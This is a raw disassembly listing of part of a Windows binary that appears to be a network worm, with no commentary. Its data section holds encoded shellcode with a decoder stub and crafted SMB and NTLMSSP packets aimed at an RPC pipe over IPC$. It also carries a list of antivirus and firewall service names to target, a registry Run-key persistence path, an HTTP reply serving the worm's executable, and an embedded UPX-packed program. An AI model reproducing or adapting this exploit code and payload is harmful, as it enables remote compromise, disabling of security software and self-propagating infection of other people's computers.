near ; CODE XREF: .data:0043E246p jmp dword ptr ds:loc_405370 sub_43F8D9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F8E5 proc near ; CODE XREF: sub_43E741+B2p ; sub_43E741+D0p ... jmp dword ptr ds:loc_405374 sub_43F8E5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F8F1 proc near ; CODE XREF: sub_43E741+16Dp ; sub_43E741+2E4p ... jmp dword ptr ds:loc_405374+4 sub_43F8F1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F8FD proc near ; CODE XREF: .data:0043E19Cp jmp dword ptr ds:loc_40537C sub_43F8FD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F909 proc near ; CODE XREF: sub_43E640:loc_43E669p ; sub_43E640:loc_43E6C3p ... jmp dword ptr ds:loc_40537F+1 sub_43F909 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; [00000006 BYTES: COLLAPSED FUNCTION j_aARc. PRESS KEYPAD "+" TO EXPAND] db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F921 proc near ; CODE XREF: .data:0043E45Bp ; sub_43E640+F4p ... jmp dword ptr ds:loc_405388 sub_43F921 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F92D proc near ; CODE XREF: .data:0043EDEEp jmp dword ptr ds:loc_405388+4 sub_43F92D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F939 proc near ; CODE XREF: sub_43E255+6Bp ; sub_43E255+8Ep ... jmp dword ptr ds:loc_40538F+1 sub_43F939 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F945 proc near ; CODE XREF: sub_43F619+17p jmp dword ptr ds:loc_405391+3 sub_43F945 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F951 proc near ; CODE XREF: .data:0043E40Cp ; .data:0043E428p jmp dword ptr ds:loc_405398 sub_43F951 endp ; --------------------------------------------------------------------------- db 90h dd 90h, 17h dup(0) dd 40300000h, 40311000h, 800000h, 22h dup(0) dd 5000h, 0 dd 34303400h, 746F4E20h, 756F6620h, 2900646Eh, 0D960413Ah dd 170A0705h, 27251F1Bh, 2AC9C5ACh, 0DF7F5F3Ch, 746845EBh dd 2F3A7074h, 3732312Fh, 2 dup(3030302Eh), 3130302Eh, 3030303Ah dd 662F3038h, 0AEAE6273h, 335DAE62h, 0A0B966C9h, 5758D01h dd 68AFE8Bh, 575993Ch, 2C068A46h, 99344630h, 0E2470788h dd 0E80AEBEDh, 0FFFFFFDAh, 99999999h, 41E41499h, 0C9994671h dd 0C999C999h, 712FE414h, 99C9994Eh, 0F3C999C9h, 0C999F19Dh dd 99C99989h, 0C999F1C9h, 999CC999h, 0C999F3C9h, 99988B71h dd 67C999C9h, 10F0E3F3h, 9998931Ch, 0F3C999C9h, 414C999h dd 0C999989Bh, 71CAC999h, 99C99963h, 0BC999C9h, 10A7C196h dd 0C999671Ch, 0C999C999h, 9666611Ah, 0C999091Dh, 0C999C999h dd 0C8C850B2h, 1498F3C8h, 71C941DCh, 99C99936h, 4EC999C9h dd 1291C0A4h, 0ED599249h, 0C959B2EFh, 14C9C9C9h, 0CBCA2FC4h dd 0C9990C71h, 0C999C999h, 21E424FFh, 0C7ED5992h, 99F1CDCDh dd 9CC999C9h, 2C66C999h, 0C9999893h, 71C9C999h, 99C999E3h dd 0FBC999C9h, 6683B8B0h, 9998932Ch, 66C999C9h, 0C999672Ch dd 0C999C999h, 0C9991471h, 0C999C999h, 0E7C29C9Bh, 99672C66h dd 99C999C9h, 99E771C9h, 99C999C9h, 31F1AC9h, 149CF3A4h dd 99989B04h, 0CAC999C9h, 0C999F571h, 0C999C999h, 7126F434h dd 71C998F3h, 99C999F9h, 77C999C9h, 14865973h, 496624D4h dd 0C999CB71h, 0C999C999h, 0EF133BF9h, 0A13729F9h, 0DE9AED9Eh dd 9E5F6072h, 5AF8C999h, 0C999A9C1h, 2 dup(0C999C999h) dd 0B7FBEAFFh, 99FCE1FCh, 4 dup(99C999C9h), 0F934C7C9h dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h, 0C983639Dh dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h, 91720A95h dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h, 529AE180h dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh, 0DB9BAB9Eh dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah dd 10F885BDh, 9998971Ch, 66C999C9h, 0FD7F6649h, 0A98712FEh dd 0C212C999h, 85C21295h, 0C2128212h, 0FDC65A91h, 0C6EAFAh dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 53FFA400h, 73424Dh, 18000000h, 0C807h, 3 dup(0) dd 0FEFFh, 0FF0C0010h, 400A400h, 0A11h, 0 dd 2000h, 0D4000000h, 69800000h, 4C544E00h, 5053534Dh dd 100h, 8829700h, 0E0h, 3 dup(0) dd 570000h, 6E0069h, 6F0064h, 730077h, 320020h, 300030h dd 200030h, 310032h, 350039h, 570000h, 6E0069h, 6F0064h dd 730077h, 320020h, 300030h, 200030h, 2E0035h, 30h, 0 dd 0FFDA0000h, 73424D53h, 0 dd 0C80718h, 3 dup(0) dd 0FEFF00h, 0C002008h, 0DA00FFh, 0A1104h, 0 dd 570000h, 0 dd 800000D4h, 544E009Fh, 53534D4Ch, 30050h, 10000h, 460001h dd 0 dd 470000h, 0 dd 400000h, 0 dd 400000h, 60000h, 400006h, 100000h, 470010h, 8A150000h dd 48E088h, 44004Fh, 6A198100h, 49E4F27Ah, 30AF281Ch, 67107425h dd 69005753h, 64006E00h, 77006F00h, 20007300h, 30003200h dd 30003000h, 32002000h, 39003100h, 3500h, 69005700h, 64006E00h dd 77006F00h, 20007300h, 30003200h, 30003000h, 35002000h dd 30002E00h, 2 dup(0) dd 53FF5C00h, 75424Dh, 18000000h, 0C807h, 3 dup(0) dd 800FEFFh, 0FF040030h, 8005C00h, 31000100h, 5C0000h dd 31005Ch, 320039h, 31002Eh, 380036h, 31002Eh, 32002Eh dd 300031h, 49005Ch, 430050h, 24h, 3F3F3F3Fh, 3Fh, 0FF640000h dd 0A2424D53h, 0 dd 0C80718h, 3 dup(0) dd 4DC08h, 18004008h, 0DEDE00FFh, 16000E00h, 0 dd 9F000000h, 201h, 2 dup(0) dd 3000000h, 1000000h, 40000000h, 2000000h, 3000000h, 5C000011h dd 73006C00h, 72006100h, 63007000h, 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0C000000h dd 4D53FFF4h, 2542h, 7180000h, 0C8h, 2 dup(0) dd 0DC080000h, 60080004h, 1000h, 0CA0h, 400h, 2 dup(0) dd 540000h, 540CA0h, 260002h, 0CB14000h, 50005C10h, 50004900h dd 5C004500h, 0 dd 500h, 1003h, 0CA000h, 100h, 0C8800h, 9000000h, 3EC00h dd 0 dd 3EC00h, 14950000h, 30040h, 707C0000h, 10040h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 707C0000h, 10040h, 0 dd 10000h, 0 dd 707C0000h, 10040h, 0 dd 10000h, 0 dd 707C0000h, 10040h, 0 dd 10000h, 0 dd 85780000h, 5BAB0013h, 0E9A6h, 0FFF81000h, 2F424D53h dd 0 dd 0C80718h, 3 dup(0) dd 0FEFF08h, 0E006008h, 0DEDE00FFh, 4000h, 0FFFF0000h dd 8FFFFh, 10B8h, 4010B8h, 0 dd 5EE10B9h, 10010000h, 0B8000000h, 1000010h, 0C000000h dd 20h, 0AD000900h, 0Dh, 0AD000000h, 0Dh, 0D80F0000h, 424D53FFh dd 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dd 40A89A00h, 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 40A89A00h, 100h, 0 dd 100h, 0 dd 40A89A00h, 100h, 0 dd 100h, 0 dd 40A89A00h, 100h, 0 dd 100h, 10h dup(0) dd 460000h, 101h, 0Dh dup(0) dd 15123C00h, 275h, 0Dh dup(0) dd 1C123C00h, 75h, 0Eh dup(0) dd 0EC816600h, 0E4FF071Ch, 100h, 404CF700h, 404CE900h dd 200h, 180h, 404CF700h, 404CE000h, 100h, 180h, 404CF700h dd 404CCF00h, 200h, 80h, 0 dd 404CB500h, 0 dd 404C9C00h, 2 dup(0) dd 404C8C00h, 2 dup(0) dd 404C8200h, 2 dup(0) dd 404C6900h, 2 dup(0) dd 404C5000h, 2 dup(0) dd 404C4300h, 2 dup(0) dd 404C3300h, 100h, 0 dd 404C2C00h, 100h, 4049F800h, 404C2400h, 100h, 0 dd 404C1900h, 2 dup(0) dd 404C1200h, 100h, 0 dd 404C0C00h, 100h, 0 dd 404C0300h, 100h, 0 dd 404BFC00h, 100h, 0 dd 404BF300h, 100h, 0 dd 404BEC00h, 100h, 0 dd 404BE500h, 100h, 0 dd 404BDD00h, 100h, 0 dd 404BD700h, 100h, 404A0800h, 404BD000h, 100h, 0 dd 404BC800h, 100h, 0 dd 404BC100h, 100h, 0 dd 404BBB00h, 100h, 0 dd 404BB200h, 100h, 404A1800h, 404BAD00h, 100h, 0 dd 404BA800h, 100h, 404A2800h, 404BA200h, 100h, 0 dd 524F5700h, 6669004Dh, 6F530063h, 61777466h, 4D5C6572h dd 6F726369h, 74666F73h, 6E69575Ch, 73776F64h, 6B005C00h dd 6469706Ch, 706C6B00h, 6C6B0066h, 76006669h, 74616473h dd 746E61h, 6F6D7376h, 6D6B006Eh, 78627378h, 786D6B00h dd 7369646Eh, 786D6B00h, 736469h, 66786D6Bh, 6D6B0077h dd 6C696678h, 6D6B0065h, 67666378h, 786D6B00h, 676962h dd 61786D6Bh, 746E6567h, 786D5500h, 676643h, 41786D55h dd 746E6567h, 786D5500h, 5500554Ch, 6F50786Dh, 6D53006Ch dd 72655363h, 65636976h, 69667300h, 7265746Ch, 736E6C00h dd 317766h, 7074754Fh, 4674736Fh, 77657269h, 6C6C61h, 72616873h dd 63616465h, 73736563h, 41634D00h, 20656566h, 6D617246h dd 726F7765h, 6553206Bh, 63697672h, 65440065h, 74636574h dd 6420726Fh, 664F2065h, 65636966h, 6E616353h, 5A00544Eh dd 41656E6Fh, 6D72616Ch, 6E615000h, 41206164h, 7669746Eh dd 73757269h, 726F4E00h, 206E6F74h, 69746E41h, 75726976h dd 65532073h, 63697672h, 614B0065h, 72657073h, 20796B73h dd 69746E41h, 6361482Dh, 2E72656Bh, 6B6E6Ch, 656E6F5Ah dd 62614C20h, 6C432073h, 746E6569h, 6F4D4100h, 6F74696Eh dd 6F4C0072h, 27206B6Fh, 5320276Eh, 706F74h, 54464F53h dd 45524157h, 63694D5Ch, 6F736F72h, 575C7466h, 6F646E69h dd 435C7377h, 65727275h, 6556746Eh, 6F697372h, 75525C6Eh dd 78006Eh, 253A7325h, 31002F75h, 312E3239h, 252E3836h dd 75252E75h, 32373100h, 2E75252Eh, 252E7525h, 30310075h dd 2E75252Eh, 252E7525h, 6EB0075h, 5C0006EBh, 5C73255Ch dd 24637069h, 2E752500h, 252E7525h, 75252E75h, 54544800h dd 2E312F50h, 30322031h, 4B4F2030h, 0A0D0A0Dh, 43000A0Dh dd 65746E6Fh, 4C2D746Eh, 74676E65h, 25203A68h, 0D0A0D75h dd 5448000Ah, 312F5054h, 3220312Eh, 4F203030h, 430A0D4Bh dd 65746E6Fh, 542D746Eh, 3A657079h, 70706120h, 6163696Ch dd 6E6F6974h, 652D782Fh, 632D6578h, 72706D6Fh, 65737365h dd 0A0D64h, 787878h, 544547h, 300050h, 6 dup(0) dd 50F400h, 2 dup(0) dd 57F400h, 524C00h, 513800h, 2 dup(0) dd 583C00h, 529000h, 514400h, 2 dup(0) dd 584C00h, 529C00h, 515000h, 2 dup(0) dd 585C00h, 52A800h, 51AC00h, 2 dup(0) dd 58C000h, 530400h, 51D800h, 2 dup(0) dd 58F000h, 533000h, 520C00h, 2 dup(0) dd 592C00h, 536400h, 1Ah dup(0) dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h, 53E000h dd 53F000h, 540000h, 540800h, 541400h, 542000h, 542C00h dd 543400h, 543C00h, 544800h, 2 dup(0) dd 545400h, 2 dup(0) dd 547000h, 2 dup(0) dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h, 54EC00h dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h, 556000h dd 557000h, 558000h, 558C00h, 559800h, 55A800h, 55B000h dd 55BC00h, 55C800h, 55D800h, 2 dup(0) dd 55E800h, 55F400h, 560800h, 561800h, 562C00h, 564000h dd 565400h, 566800h, 567800h, 2 dup(0) dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h, 56EC00h dd 570000h, 571400h, 572400h, 573400h, 574800h, 2 dup(0) dd 575C00h, 576400h, 577400h, 578000h, 578800h, 579400h dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h, 57D000h dd 57DC00h, 57E800h, 2 dup(0) dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h, 53E000h dd 53F000h, 540000h, 540800h, 541400h, 542000h, 542C00h dd 543400h, 543C00h, 544800h, 2 dup(0) dd 545400h, 2 dup(0) dd 547000h, 2 dup(0) dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h, 54EC00h dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h, 556000h dd 557000h, 558000h, 558C00h, 559800h, 55A800h, 55B000h dd 55BC00h, 55C800h, 55D800h, 2 dup(0) dd 55E800h, 55F400h, 560800h, 561800h, 562C00h, 564000h dd 565400h, 566800h, 567800h, 2 dup(0) dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h, 56EC00h dd 570000h, 571400h, 572400h, 573400h, 574800h, 2 dup(0) dd 575C00h, 576400h, 577400h, 578000h, 578800h, 579400h dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h, 57D000h dd 57DC00h, 57E800h, 0 dd 57003000h, 74534153h, 75747261h, 70h, 61003500h, 70656363h dd 74h, 62003600h, 646E69h, 63003700h, 65736F6Ch, 6B636F73h dd 7465h, 63003800h, 656E6E6Fh, 7463h, 67003B00h, 6F687465h dd 79627473h, 656D616Eh, 67003C00h, 6F687465h, 616E7473h dd 656Dh, 68004600h, 736E6F74h, 69004700h, 5F74656Eh, 72646461h dd 69004900h, 5F74656Eh, 616F746Eh, 6C004B00h, 65747369h dd 6Eh, 72004F00h, 766365h, 73005500h, 646E65h, 73005900h dd 64747568h, 6E776Fh, 73005A00h, 656B636Fh, 74h, 49008100h dd 7265746Eh, 4774656Eh, 6F437465h, 63656E6Eh, 53646574h dd 65746174h, 53004F00h, 74654748h, 63657053h, 466C6169h dd 65646C6Fh, 74615072h, 4168h, 45008200h, 54746978h, 61657268h dd 64h, 4700CA00h, 6F437465h, 6E616D6Dh, 6E694C64h, 4165h dd 4700DE00h, 75437465h, 6E657272h, 6F725074h, 73736563h dd 6449h, 4700F800h, 69467465h, 6953656Ch, 657Ah, 47010C00h dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 43001B00h dd 65736F6Ch, 646E6148h, 656Ch, 47015500h, 69547465h, 6F436B63h dd 746E75h, 47015C00h, 65567465h, 6F697372h, 6Eh, 47016800h dd 61626F6Ch, 6464416Ch, 6D6F7441h, 41h, 49019200h, 7265746Eh dd 6B636F6Ch, 78456465h, 6E616863h, 6567h, 49019400h, 7265746Eh dd 6B636F6Ch, 6E496465h, 6D657263h, 746E65h, 4C01AD00h dd 6C61636Fh, 6F6C6C41h, 63h, 43003100h, 74616572h, 6C694665h dd 4165h, 5201FA00h, 46646165h, 656C69h, 52020E00h, 6E556C74h dd 646E6977h, 52020F00h, 655A6C74h, 654D6F72h, 79726F6Dh dd 53026400h, 7065656Ch, 6C02C600h, 63727473h, 416E7970h dd 6C02C900h, 6C727473h, 416E65h, 43004700h, 74616572h dd 72685465h, 646165h, 44005400h, 74656C65h, 6C694665h dd 4165h, 5300FE00h, 69547465h, 72656Dh, 52000200h, 73696765h dd 43726574h, 7373616Ch, 41h, 47002000h, 654D7465h, 67617373h dd 4165h, 54002400h, 736E6172h, 6574616Ch, 7373654Dh, 656761h dd 44002500h, 61707369h, 4D686374h, 61737365h, 416567h dd 50003D00h, 5174736Fh, 4D746975h, 61737365h, 6567h, 43004F00h dd 74616572h, 6E695765h, 45776F64h, 4178h, 44005100h, 72747365h dd 6957796Fh, 776F646Eh, 44005B00h, 69576665h, 776F646Eh dd 636F7250h, 41h, 4300BF00h, 65736F6Ch, 76726553h, 48656369h dd 6C646E61h, 65h, 4300C000h, 72746E6Fh, 65536C6Fh, 63697672h dd 65h, 4400C300h, 74656C65h, 72655365h, 65636976h, 4F00D100h dd 536E6570h, 6E614D43h, 72656761h, 41h, 4F00D300h, 536E6570h dd 69767265h, 416563h, 52016700h, 65446765h, 6574656Ch dd 756C6156h, 4165h, 52017100h, 72436765h, 65746165h, 4579654Bh dd 4178h, 52017400h, 6C436765h, 4B65736Fh, 7965h, 52017900h dd 704F6765h, 654B6E65h, 41784579h, 52018400h, 75516765h dd 56797265h, 65756C61h, 417845h, 52019000h, 65536765h dd 6C615674h, 78456575h, 41h, 5F00E800h, 616F7469h, 5F001800h dd 7465475Fh, 6E69614Dh, 73677241h, 5F018100h, 65656C73h dd 70h, 65020A00h, 746978h, 6D025400h, 70636D65h, 79h dd 6D025600h, 65736D65h, 74h, 72026000h, 65736961h, 72026100h dd 646E61h, 73026A00h, 616E6769h, 6Ch, 73026D00h, 6E697270h dd 6674h, 73026F00h, 646E6172h, 73027100h, 61637274h, 74h dd 73027200h, 68637274h, 72h, 73028000h, 74737274h, 72h dd 6F737700h, 32336B63h, 6C6C642Eh, 0Fh dup(40500000h) dd 4E495700h, 54454E49h, 4C4C442Eh, 40501400h, 45485300h dd 32334C4Ch, 4C4C442Eh, 40502800h, 52454B00h, 334C454Eh dd 4C442E32h, 4Ch, 15h dup(40503C00h), 45535500h, 2E323352h dd 4C4C44h, 9 dup(40505000h), 56444100h, 33495041h, 4C442E32h dd 4Ch, 0Bh dup(40506400h), 54524300h, 2E4C4C44h, 4C4C44h dd 0Eh dup(40507800h), 25h dup(0) dd 2000h, 0 dd 2000h, 100000h, 2A0000h, 300000h, 480000h db 2 dup(0) word_4411DA dw 7C40h ; DATA XREF: sub_403AC7+41o db 0 aG8c5 db 'G8C: 5',0 ; DATA XREF: sub_403BAD+20o aBpUp db 'BP~up',0 ; DATA XREF: sub_403BAD+5Eo aZs db 'zS',0 ; DATA XREF: sub_403BAD+128o byte_4411ED db 5Eh, 68h, 56h ; DATA XREF: sub_403BAD+14Eo dd 7F734220h db 0 aJSovv db 'j# so‚V',0 ; DATA XREF: sub_403BAD+17Ao byte_4411FD db 0 ; DATA XREF: sub_403D6F+20o byte_4411FE db 0 ; DATA XREF: sub_403D6F+31o aXf7 db ';xF:7=',0 ; DATA XREF: sub_403D6F+139o aXvQu db 'x‚-QU',0 ; DATA XREF: sub_403D6F+15Bo byte_44120C db 0 ; DATA XREF: sub_403D6F+16Fo aJdh1c db ' Jdh1c',0 ; DATA XREF: sub_404156+26o word_441214 dw 4Eh ; DATA XREF: sub_404156+83r align 4 dd 8, 0Ah dword_441220 dd 8Ah ; sub_404201:loc_404228r ... byte_441224 db 70h, 34h, 0 ; DATA XREF: sub_4042A4+16o dword_441227 dd 552156h byte_44122B db 79h ; DATA XREF: sub_4042A4+7Fo db 20h, 0 word_44122E dw 0 ; DATA XREF: sub_4042A4+1DBo dd 5, 12h dword_441238 dd 0 ; .text:loc_4045A4r ... dword_44123C dd 0 ; sub_404602+4Ar ... dword_441240 dd 0 dd 3, 0Fh dword_44124C dd 0 ; sub_40470D:loc_4046FFr ... aAKS db 'A k &s',0 ; DATA XREF: sub_404770+26o aMusr db ' musR',0 ; DATA XREF: sub_40479E+6o byte_44125E db 0 ; DATA XREF: sub_40479E+30o byte_44125F db 0 ; DATA XREF: sub_40479E+200o dword_441260 dd 83266Bh byte_441264 db 0 ; DATA XREF: sub_404A6B+33o aHSl?2 db 'h&sL?2*',0 ; DATA XREF: sub_404A6B+5Ao word_44126D dw 78h ; DATA XREF: sub_404D49+74r aUwV db 'uW V',0 ; DATA XREF: sub_404DE3+DCo dd 3 dword_441278 dd 0Fh ; sub_405217:loc_40527Cr dword_44127C dd 0 ; sub_404FE7:loc_40500Er ... aAKS_0 db 'A k &s',0 ; DATA XREF: sub_40507F+11o dword_441288 dd 73756Dh dword_44128C dd 2 ; sub_4063A9+315r dword_441290 dd 0Ah ; sub_4056EE+131r ... dword_441294 dd 0 ; sub_4052CE:loc_4052FBr ... dword_441298 dd 0 byte_44129C db 0 ; DATA XREF: sub_405368:loc_405374o aARc db 'a`rc',0 ; DATA XREF: sub_405368+1Ao byte_4412A2 db 0 ; DATA XREF: sub_405368+6Co byte_4412A3 db 6Ah ; DATA XREF: sub_405409+1Bo dd 6864207Fh db 42h, 43h, 0 byte_4412AB db 0 ; DATA XREF: sub_405409+29o byte_4412AC db 0 ; DATA XREF: sub_405409+1B3o a8x6d db '8x6d',0 ; DATA XREF: sub_405600+1Co aLw db 'Lw%$',0 ; DATA XREF: sub_405600+6Fo aQ db 'q<',0 ; DATA XREF: sub_4056EE+22o aR1 db 'R1|`',0 ; DATA XREF: sub_4056EE+E9o word_4412BF dw 3Ch ; DATA XREF: sub_4056EE+F6r a_mU2 db '%.m%u2',0 ; DATA XREF: sub_4056EE+16Fo byte_4412C8 db 0 ; DATA XREF: sub_4056EE+182o aMZW db 'M=z>w',0 ; DATA XREF: sub_4056EE+266o aRIAb db 'r I^^€b',0 ; DATA XREF: sub_4056EE+279o dword_4412D7 dd 367E7Ah aFBe db 'F#=e ',0 ; DATA XREF: sub_4056EE+5F3o word_4412E2 dw 7Eh ; DATA XREF: sub_4056EE+6F4r aYmkm db ' ymkm&',0 ; DATA XREF: sub_4056EE+707o aWG db '%W*ƒ',0 ; DATA XREF: sub_4056EE+7CFo word_4412F0 dw 69h ; DATA XREF: sub_4056EE+864r aTcurf db 'TcUrf',0 ; DATA XREF: sub_4056EE+94Eo dword_4412F8 dd 20245Fh aPxpwz db 'pxPwz',0 ; DATA XREF: sub_406081+80o word_441302 dw 4Dh ; DATA XREF: sub_406081:loc_406267r a4VVx db '4:V<vX',0 ; DATA XREF: sub_406081+1F9o byte_44130B db 0 ; DATA XREF: sub_406081+275o dword_44130C dd 56303Ch dword_441310 dd 656943h aGf db '+GF ',0 ; DATA XREF: sub_4063A9+20o aHv1xj db 'hV1xJ',0 ; DATA XREF: sub_4063A9+43o a6djg db '6DJg',0 ; DATA XREF: sub_4063A9+1EFo asc_441324 db '&X',0 ; DATA XREF: sub_4063A9+39Ao word_441327 dw 20h ; DATA XREF: sub_4063A9+3DEr align 4 dd 2 dword_441330 dd 10h dword_441334 dd 0 ; sub_4068DC:loc_40690Ar ... dword_441338 dd 0 ; sub_406B40+36r ... dword_44133C dd 0 ; sub_4069C8+1Ar ... dword_441340 dd 0FFFFh ; sub_406B40+132r ... aK3s db 'k-#3S ',0 ; DATA XREF: sub_406966+Co aOdvgM db 'ODvG-M',0 ; DATA XREF: sub_406966+26o aESk db 'E`Sk ',0 ; DATA XREF: sub_4069C8+69o asc_441358 db ' + ',27h,'<',0 ; DATA XREF: sub_406A44+20o aVifa db 'ViFA',0 ; DATA XREF: sub_406A44+80o dword_441363 dd 792321h aMVaj db 'M ‚€J',0 ; DATA XREF: sub_406B40+185o align 10h dword_441370 dd 4 ; sub_407F91+48r dword_441374 dd 0Bh ; sub_406E3F+F78r dword_441378 dd 0 ; sub_406DB4:loc_406DE1r ... dword_44137C dd 1 ; sub_408043+1Ao byte_441380 db 0 ; DATA XREF: sub_406E3F+100Dr align 2 dw 2Dh dd 734125h word_441388 dw 7Eh ; DATA XREF: sub_406E3F+ABr dword_44138A dd 496923h aTnaJ4 db 'TNa=J:4',0 ; DATA XREF: sub_406E3F+E6o word_441396 dw 3Eh ; DATA XREF: sub_406E3F+13Br aIho db 'iHO$|',0 ; DATA XREF: sub_406E3F+1E3o aEOsj db 'E osJ',0 ; DATA XREF: sub_406E3F+1F7o byte_4413A4 db 0 ; DATA XREF: sub_406E3F+269o a0sfvu db ' 0SFvu ',0 ; DATA XREF: sub_406E3F+434o dword_4413AD dd 543A4Ah aRO0p db 'r= O0P',0 ; DATA XREF: sub_406E3F+513o a_Leiv db '.;^LeIV',0 ; DATA XREF: sub_406E3F+52Eo aIara db ' $iArA',0 ; DATA XREF: sub_406E3F+53Co dword_4413C7 dd 804726h dword_4413CB dd 4B7F20h a?Hg db '`?^HG',0 ; DATA XREF: sub_406E3F+803o word_4413D5 dw 6Eh ; DATA XREF: sub_406E3F+85Cr aJA db 'j €+ ',0 ; DATA XREF: sub_406E3F+A71o aIs db '`IS~',0 ; DATA XREF: sub_406E3F+A8Co byte_4413E3 db 0 ; DATA XREF: sub_406E3F+ABDo byte_4413E4 db 0 ; DATA XREF: sub_406E3F+B93o aY3 db '& y$`3',0 ; DATA XREF: sub_406E3F+BFBo aMNkY db 'M#nk y',0 ; DATA XREF: sub_406E3F+C72o word_4413F3 dw 6Eh ; DATA XREF: sub_406E3F+D07r a747P db '<747~P',0 ; DATA XREF: sub_406E3F+D1Ao aUmxi db '-Umxi',0 ; DATA XREF: sub_406E3F+D62o a@mc@_6u db '@mC@_6u',0 ; DATA XREF: sub_406E3F+E77o a61 db '61',0 ; DATA XREF: sub_406E3F+E9Eo aXfr db ' xfR',0 ; DATA XREF: sub_406E3F+FA8o aUkggv db 'UkƒƒV',0 ; DATA XREF: sub_406E3F+1030o aGG db '<ƒ^>ƒ',0 ; DATA XREF: sub_406E3F+1107o off_44141E dd offset dword_442560 ; DATA XREF: sub_407F91+67r word_441422 dw 0FFFFh ; DATA XREF: sub_407F91+5o dd 8015FFFFh, 80200040h db 40h, 0 word_44142E dw 5Fh ; DATA XREF: sub_408043+33r byte_441430 db 6Ch, 2Dh, 0 ; DATA XREF: sub_408043+46o byte_441433 db 0 ; DATA XREF: .text:004080A5o dd 6 dword_441438 dd 0Ch dword_44143C dd 0 ; sub_40811F:loc_408155r ... byte_441440 db 62h, 39h, 0 ; DATA XREF: sub_4081B0+1A0o dword_441443 dd 74697Ch aIz db '<iZ!',0 ; DATA XREF: sub_4081B0+241o aMzr db 'MZ',0 ; DATA XREF: sub_4085C0+88o dd 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0C8h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 13h dup(0) dd 4550h, 3014Ch, 41CA88F2h, 2 dup(0) dd 10F00E0h, 6010Bh, 4000h, 1000h, 5000h, 9820h, 6000h dd 0A000h, 400000h, 1000h, 200h, 4, 0 dd 4, 0 dd 0B000h, 1000h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 0A000h, 0D8h, 1Ch dup(0) aUpx0 db 'UPX0',0 align 4 dd 5000h, 1000h, 0 dd 400h, 3 dup(0) dd 0E0000080h, 31585055h, 0 dd 4000h, 6000h, 3A00h, 400h, 3 dup(0) dd 0E0000040h, 32585055h, 0 dd 1000h, 0A000h, 200h, 3E00h, 3 dup(0) dd 0C0000040h, 42h dup(0) dd 0A0000h aInfoThisFileIs db '$Info: This file is packed with the UPX executable packer http://' db 'upx.tsx.org $',0Ah,0 aIdUpx1_07Copyr db '$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Re' db 'served. $',0Ah,0 dd 21585055h, 902090Ch, 0A2620A53h, 5F94A837h, 7269h, 381Fh dd 7000h, 38000426h, 92087EE9h, 905A4D00h, 43B0300h, 0B2C83200h 